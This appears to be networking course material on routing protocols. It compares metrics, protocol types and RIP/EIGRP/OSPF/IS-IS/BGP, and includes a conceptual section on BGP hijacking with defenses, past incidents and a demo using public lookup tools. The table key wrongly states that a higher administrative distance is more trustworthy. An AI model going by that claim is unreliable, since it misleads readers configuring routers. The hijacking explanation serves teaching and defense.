Routing protocols can learn of 2 or more routes to the same destination network. To determine which one is the "shortest", routing protocol uses metrics to determine the best path to a destination network. Routing protocols each uses different factors as its metrics to determine the best/shortest routes.

Some of the most common metrics that routing protocols can use are:

  • hop

  • bandwidth

  • delay

  • reliability

  • load

  • MTU

  • cost

  • administratively defined


Classful vs Classless

Classful vs Classless
Figure 34. Classful vs Classless


Routing protocols are either Classful or Classless. Classful routing protocols do not send subnet mask information with their routing updates. Classless routing protocols do include subnet mask information with the routing updates.

Classless routing protocols support VLSM and CIDR; classful protocols do not.

Most modern networks no longer use classful IP addressing or Classful routing (RIP and IGRP). Classless routing protocols like RIPv2, EIGRP, OSPF, and IS-IS include the subnet mask information in their routing updates.

IPv6 routing protocols are all considered classless.



Discuss: Static Routing

Static Routing
Figure 35. Static Routing


Static routes are manually configured on each router by a network administrator to route traffic for every specific remote network. This is common for small networks with few routes to the outside the network but becomes cumbersome on larger networks. They also provide security for some larger networks as all traffic takes predetermined routes.


Static routing provides some advantages over dynamic routing, including:

  • Static routes do not advertise over the network, resulting in better security.

  • Static routes do not use bandwidth like dynamic routing protocols to send updates and no CPU cycles are used to calculate and communicate routes.

  • The path a static route uses to send data is predetermined.


Static routing has the following disadvantages:

  • Initial configuration and maintenance is time-consuming.

  • Configuration is prone to error, especially on large networks.

  • Administrator must intervene to update routing information or to bypass network faults.

  • Does not scale well with growing networks; maintenance becomes cumbersome.

  • Requires complete knowledge of the whole network for proper implementation.



Discuss: Dynamic Routing

Dynamic Routing
Figure 36. Dynamic Routing


Routing protocols allow routers to dynamically exchange routing information to build routing tables. If 2 or more routers share the same protocol they can communicate with each other. The purpose of dynamic routing protocols includes:

  • Discover new remote networks

  • Maintaining current routing information

  • Choose best path to remote networks

  • Recalculate a new patch to a remote network should the primary fail

Dynamic routing provides some advantages over static routing, including:

  • Easier to configure and maintain.

  • Administrator does not need to intervene to update tables during network outages.

  • Scales very well on growing networks.

Dynamic routing has the following disadvantages:

  • Routing protocols flood the network updates which consumes bandwidth and can be intercepted.

  • Uses extensive CPU and RAM to run its algorithms and build its databases.

  • Path data can travel is not deterministic and can change fluidly.


Routing Protocol Security Issues

The issue with routing protocols is that they inherently trust neighbors running the same routing protocol. This means that an attacker can "inject" fake or falsified routing updates into the network to either direct traffic to his system or to cause a DOS.



Protocol Type Convergance Class AD Metric Hop Limit Classless Algorithm Transport Type Routing updates

RIPv1

IGP

Slow

DV

120

Hop Count

15

NO

Bellman-Ford

UDP port 520

Broadcast full tables every 30 Sec

RIPv2

IGP

Slow

DV

120

Hop Count

15

Yes

Bellman-Ford

UDP port 520

Multicast 224.0.0.9 every 30 sec

RIPng

IGP

Slow

DV

120

Hop Count

15

Yes

Bellman-Ford

UDP port 521

Multicast FF02::9 every 30 sec

EIGRP

IGP

Very Fast

DV(h)

90

B/D/L/R

224

Yes

DUAL

IP protocol 88

Multicast 224.0.0.10

EIGRP IPv6

IGP

Very Fast

DV(h)

90

B/D/L/R

224

Yes

Dual

IP protocol 88

Multicast FF02::A

OSPF v2

IGP

Fast

LS

110

Cost

none

Yes

Dijkstra (SPF)

IP protocol 89

Multicast 224.0.0.5 and 224.0.0.6

OSPF v3

IGP

Fast

LS

110

Cost

none

Yes

Dijkstra (SPF)

IP protocol 89

Multicast FF02::5 and FF02::6

IS-IS

IGP

Fast

LS

115

Cost

none

Yes

Dijkstra (SPF)

L2 Protocol

Sends directly in a frame

BGP

EGP

Average

DV

20/200

Policy

none

Yes

Best Path

TCP port 179

Unicasts updates to neighbors

KEY: Protocol: Routing protocol name Type: either interior or exterior routing protocol Convergence: How fast they are to share routing information throughout the intranet. Class: either link state or distance vector AD: Administrative distance. Trustworthiness of the information source. Higher is more trustworthy. Classless: Does it support CIDR? Algorithm: How it computes the "best path" to the destination network using its metrics. Transport Type: How is sends it update over the network. Routing updates: Destination address it uses to send updates to neighbor routers supporting the same protocol.



Discuss: IGP vs EGP

IGP vs EGP
Figure 37. IGP vs EGP


Interior Gateway Protocols (IGP): Routing protocols that are used within an AS. Referred to as intra-AS routing. Organizations and service providers IGPs on their internal networks. IGPs include RIP, EIGRP, OSPF, and IS-IS.

Exterior Gateway Protocols (EGP): Used primarily for routing between autonomous systems. Referred to as inter-AS routing. Service providers and large companies will interconnect their AS using an EGP. The Border Gateway Protocol (BGP) is the only currently viable EGP and is the official routing protocol used by the Internet.



Discuss: Autonomous System

IANA
Figure 38. IANA and RIRs


Within the Internet, an autonomous system (AS) is a collection of connected Internet Protocol (IP) routing prefixes under the control of one or more network operators on behalf of a single administrative entity or domain that presents a common, clearly defined routing policy to the Internet.

Each administrative entity is assigned a 32-bit number to uniquely identify itself to everyone on the internet.

AS numbers are assigned in blocks by the Internet Assigned Numbers Authority (IANA) to regional Internet registries (RIRs). The appropriate RIR then assigns AS numbers to entities within its designated area from the block assigned by the IANA. Entities wishing to receive an ASN must complete the application process of their local RIR and be approved before being assigned an ASN. Current IANA ASN assignments to RIRs can be found on the IANA website.

  • APNIC - Asia-Pacific Region

  • RIPE NCC - Europe, Middle East and Former USSR

  • AFRINIC - Africa

  • ARIN - United States, Canada and many Caribbean and North Atlantic islands

  • LACNIC - Latin American and Caribbean regions

Reference:



Discuss: Distance Vector Routing Protocols

Distance Vector Routing
Figure 39. Distance Vector Routing Protocol


Distance Vector protocols are simplistic in their operation. They share entire routing tables with their directly connected neighbors and from these shared tables they determine two factors:

  • Distance: This identifies how far away the destination network is from the router and is based on a metric such as the hop count, cost, bandwidth, delay, and more. It takes the learned distance from their neighbor, adds the distance to their neighbor, and this gives them a total distance.

  • Vector: This specifies the direction to the remote network. The router that advertised the route to the router is the one the router will need to send traffic to that will get the traffic to the remote network and the interface it was learned on.

A router using a distance vector routing protocol will not have complete knowledge of the network or the entire path to a remote network. Distance vector protocols is typically called "routing by rumor". This means they only know what their directly connected neighbors tell them.

There are four distance vector IPv4 IGPs:

  • RIPv1: First generation legacy protocol

  • RIPv2: Simple distance vector routing protocol

  • IGRP: First generation Cisco proprietary protocol (obsolete and replaced by EIGRP)

  • EIGRP: Advanced version of distance vector routing



Link State Routing
Figure 40. Link State Routing Protocol


Compared to distance vector routing protocols, a router configured with a link-state routing protocol can create a complete view of the network. This is built by gathering information from all of the other routers to build a network topology.

Link state routing protocols tend to flood the network with Link state Advertisements (LSAs). Each router receives these updates and begins to build a map of the entire network. It will use its algorithms to compute the best routes from this map to all remote networks. After this is done no periodic updates are sent unless there is a change in the topology.

Link-state protocols work best in situations where:

  • The network design is hierarchical, usually occurring in large networks

  • Fast convergence of the network is crucial

  • The administrators have good knowledge of the implemented link-state routing protocol

There are two link-state IPv4 IGPs:

  • OSPF: Popular open standards-based routing protocol

  • IS-IS: Popular in service provider networks



Discuss: BGP

BGP is one of only 2 Exterior Gateway Routing Protocols (EGP) created. The other called simply Exterior Gateway Protocol (EGP) was developed in 1982 by Eric C Rosen and David Mills and specified in RFC 827. It was a simple protocol that was eventually made obsolete by BGP version 4 published in RFC 4271.

BGP operates differently compared to IGP protocols. Rather than automatically advertising all internal networks, BGP is configured to specify the precise network and CIDR it will advertise. Instead of making best path selection based of metrics, it uses "paths" (which is loosly similar to hops used by RIP), network policies, or rule-sets. This makes BGP one of the most complicated routing protocols to configure. Where simple configuration errors with an IGP will have an impact on traffic within your network. Whereas a misconfiguration with BGP could have broad ramifications on the traffic routing throughout the entire world.

Reference: Wikipedia BGP link

  • Roadmap of the Internet - If DNS is the address-book of the Internet then BGP is the Roadmap or "Google Maps" of the Internet. It defines the path all traffic takes through the Internet. The Internet is nothing more than a web of millions of interconnected networks.

  • Routes traffic between Autonomous System (AS) Number - Internet Service Providers (ISP) are assigned an Autonomous System (AS) Number by IANA. Each AS is viewed as a single entity to the rest of the world but within the AS it can contain thousands of subnetworks and routers. List of AS numbers and owners according to bgplokingglass.com

  • Advertises IP CIDR address blocks - Each AS is used to represent a CIDR block(s) of IP addresses and can contain thousands of individual routers and subnetworks. Rather than advertise each individual network address and CIDR throughout the AS like IGP do, BGP is manually configured to advertise "summary routes" that encompass all the internal networks. Reference Video: How does BGP work video

  • Establishes Peer relationships - BGP is an application layer protocol that communicates using TCP port 179. ISPs use BGP in order to share routing information with their peers. Each ISP’s edge router uses TCP to establish "peer" relationships between other ISP edge routers in another AS to share addressing information. Rather than sending their updates to any BGP listening router, BGP must be manually configured to communicate with 'peer' neighbor routers. This eventually forms a web of communicating routers. Reference: APNIC BGP map

  • Complicated configuration - Does not operate and share routes automatically like other IGP. Network addresses must be manually configured to be advertised. Due to lack of trust between ISPs they employ series of filters and policies which makes BGP must harder and more complicated to configure.

  • Complicated and slow path selection - BGP uses a series of items in its path determination. BGP path selection reference from CiscoZine.com. "Best Path" in BGP does not mean its the most optimal path. It only routes by AS #'s and not the attributes within the AS themselves. Typically BGP prefers the route that takes the packet through the fewest amount of AS’s.


BGP Hijacking

Each individual organization has the ability to enforce the policies within their networks. However, there is no one governing organization that can enforce the internet. Each individual network is privately owned and controlled in various countries throughout the world. Each county is governed by their own rules, regulations and laws. To allow for the explosive growth of the Internet, it operated on a "trust" model. This means that ISPs were allowed to connect and share their network information with the rest of the world and were trusted that they would "play nice" with others. There was no way to realistically prevent intentional or accidental advertising of networks that the organization does not own.

BGP Hijacking works by:

  • Illegitimate advertising of addresses - BGP Hijacking ( also called prefix hijacking, route hijacking or IP hijacking) works by illegitimately taking over IP CIDR address blocks and corrupting Internet routing tables by falsely advertising addresses of addresses you do not own.

  • Attack Vector -

    • BGP propagates false information - When an AS announces a route to IP prefixes that it does not actually control, this announcement, if not filtered, can spread and be added to routing tables in BGP routers across the Internet. From then until somebody notices and corrects the routes, traffic to those IPs will be routed to that AS. It would be like claiming territory if there were no local government to verify and enforce property deeds.

    • Purpose - As a result of BGP hijacking, Internet traffic can traverse incorrect paths for the purpose of:

      • stealing prefixes - mostly temporarily. This is usually noticed within minutes to hours. Although repairing issue can take minutes to hours as well depending on finding the right technicians to resolve the issue. Usually larger organizations can repair the issue faster than smaller ones due to their contacts and influence.

      • monitoring traffic - this is useful to monitor traffic that the attacker may not be "in line" of. This will divert all traffic to a target through your network.

      • intercept (and possibly modify) Internet traffic - similar to monitoring, packets can also be modified since it will traverse the attackers network infrastructure.

      • 'black holing' traffic- since the traffic was diverted, the attack’s intent could send traffic to the proverbial "bit bucket" and simple discard the packets.

      • direct users to a fake website as part of a man-in-the-middle attack. Rather than taking users to a legitimate website, an attacker can direct traffic to a fake (cloned) website.

  • BGP favors the shortest, most specific path to the desired IP address - In order for the BGP hijack to be successful, the route announcement must either:

    1. Advertise a more specific route. This is easily done by announcing smaller range of IP addresses than what other AS’s had previously announced. (i.e. 192.168.1.0 /24 is more specific than 192.168.0.0 /16)

    2. Offer a shorter route to certain blocks of IP addresses. If the address can be advertised and the path is perceived to be "shorter" it will overwrite a legitimate path. (i.e. route to ip prefix with 4 AS 'hops" is better than route with 5 AS 'hops' )

Reference: Cloudfare


Defense

Ultimately it is difficult to defend against. Each ISP can only control their own advertisements and not what is advertised from other ISPs. There are some implementation to help guard against it but each has its own challenges.

  • IP prefix filtering -The ISP can filter what IP prefixes (address blocks) it should advertise and accept. This can help prevent any accidental route hijacking but its not feasible to enforce all ISPs to perform this.

  • BGP hijacking detection -Signs of BGP Hijacking can include:

    • Tracking the change in TTL of incoming packets. This can be easily "mangled" by a MitM attacker to hide.

    • Increased Round Trip Time (RTT) which increases latency. This can be managed depending on proximity to the primary prefix owner. If closer, then latency can be minimized. Else the attack can be localized to a "Region".

    • Monitoring misdirected traffic (change in AS path from tools like Looking Glass). Hard to discover without active monitoring.

  • Making BGP more secure - Was designed to make the Internet work but not designed with security in mind. BGPsec is being developed but unsure when it will be adopted everywhere.

References:

http://www.bgplookingglass.com/ - Database of 1150 BGP Looking glass servers from various AS. This identifies how that ISP sees the path to a specific Internet address. This is a means to determine if any ISPs may have been compromised with false routing information.


BGP Hijacking Public incidents (from wikipedia)

Below is a list of several examples of BGP Hijacking.

  • April 1997: The "AS 7007 incident"

  • December 24, 2004: TTNet in Turkey hijacks the Internet

  • May 7, 2005: Google’s May 2005 Outage

  • January 22, 2006: Con-Edison hijacks big chunk of the Internet

  • February 24, 2008: Pakistan’s attempt to block YouTube access within their country takes down YouTube entirely.

  • November 11, 2008: The Brazilian ISP CTBC - Companhia de Telecomunicações do Brasil Central leaked their internal table into the global BGP table. It lasts over 5 minutes. Although, it was detected by a RIPE route server and then it was not propagated, affecting practically only their own ISP customers and few others.

  • April 8, 2010: Chinese ISP hijacks the Internet

  • July 2013: linkhttps://en.wikipedia.org/wiki/Hacking_Team[The Hacking Team] aided Raggruppamento Operativo Speciale (ROS - Special Operations Group of the Italian National Military police) in regaining access to Remote Access Tool (RAT) clients after they abruptly lost access to one of their control servers when the Santrex IPv4 prefix 46.166.163.0/24 became permanently unreachable. ROS and the Hacking Team worked with the Italian network operator Aruba S.p.A. (AS31034) to get the prefix announced in BGP in order to regain access to the control server.

  • February, 2014: Canadian ISP used to redirect data from ISPs.- In 22 incidents between February and May a hacker redirected traffic for roughly 30 seconds each session. Bitcoin and other crypto-currency mining operations were targeted and currency was stolen. Arti

  • January 2017: Iranian pornography censorship.

  • April 2017: Russian telecommunication company Rostelecom (AS12389) originated 37 prefixes for numerous other Autonomous Systems. The hijacked prefixes belonged to financial institutions (most notably Master Card and Visa), other telecom companies, and a variety of other organizations. Even though the possible hijacking lasted no more than 7 minutes it is still not clear if the traffic got intercepted or modified.

  • December 2017: Eighty high-traffic prefixes normally announced by Google, Apple, Facebook, Microsoft, Twitch, NTT Communications, Riot Games, and others, were announced by a Russian AS, DV-LINK-AS (AS39523).[19][20]

  • April 2018: Roughly 1300 IP addresses within Amazon Web Services space, dedicated to Amazon Route 53, were hijacked by eNet (or a customer thereof), an ISP in Columbus, Ohio. Several peering partners, such as Hurricane Electric, blindly propagated the announcements.

  • July 2018: Iran Telecommunication Company (AS58224) originated 10 prefixes of Telegram Messenger.

  • November 2018: US-based China Telecom site originated Google addresses.

  • November 2018: A group called "3ve" used BGP hijacking to make 29M in ad clicking.


BGP Demo

  • Step 1:

Goto: https://www.whatismyip.com/ to get your IP address.

  • Step 2:

Goto: https://stat.ripe.net/ and paste in your IP address. It will tell you that it is part of a broader advertised address prefix. Select the choice of the broader prefix.

You can go through all the details on the main IP "At a Glance" tab. This can map out (by percentage) where various IP address blocks are located.

  • Step 3:

Click the "Routing" tab on the left side. Scroll down to the BGPlay window. It will give you a message that says "This query includes more nodes/events than normal. Rendering this graph may cause your browser to become temporarily unresponsive. Do you wish to continue?" Click "Yes".

BGPlay will show you the AS that is advertising the address and paths of other up/down stream AS#'s that it is advertising to. Optionally you can goto https://stat.ripe.net/special/bgplay to display this view.

  • Step 4:

This site will take you to a top level site to view each of each of Assigned Numbers Authority (IANA)'s regional Internet registries (RIRs) BGP map. This will graphically display the peer relationships of AS’s. APNIC BGP Map. From this map you can demo the same AS that you found from above and it will show its peer relationships.

Extra:

Ping any major DNS address to resolve the IP address (i.e. www.cisco.com, www.dell.com, us.army.mil, etc) and use the previous steps to portray that ip address within BGP.

This link will take you to a list of "active" ASes and prefixes in the past 14 days for demo purposes. http://bgpupdates.potaroo.net/instability/bgpupd.html

References:

Use this site for a list of all Autonomous System numbers with their owners: http://www.bgplookingglass.com/list-of-autonomous-system-numbers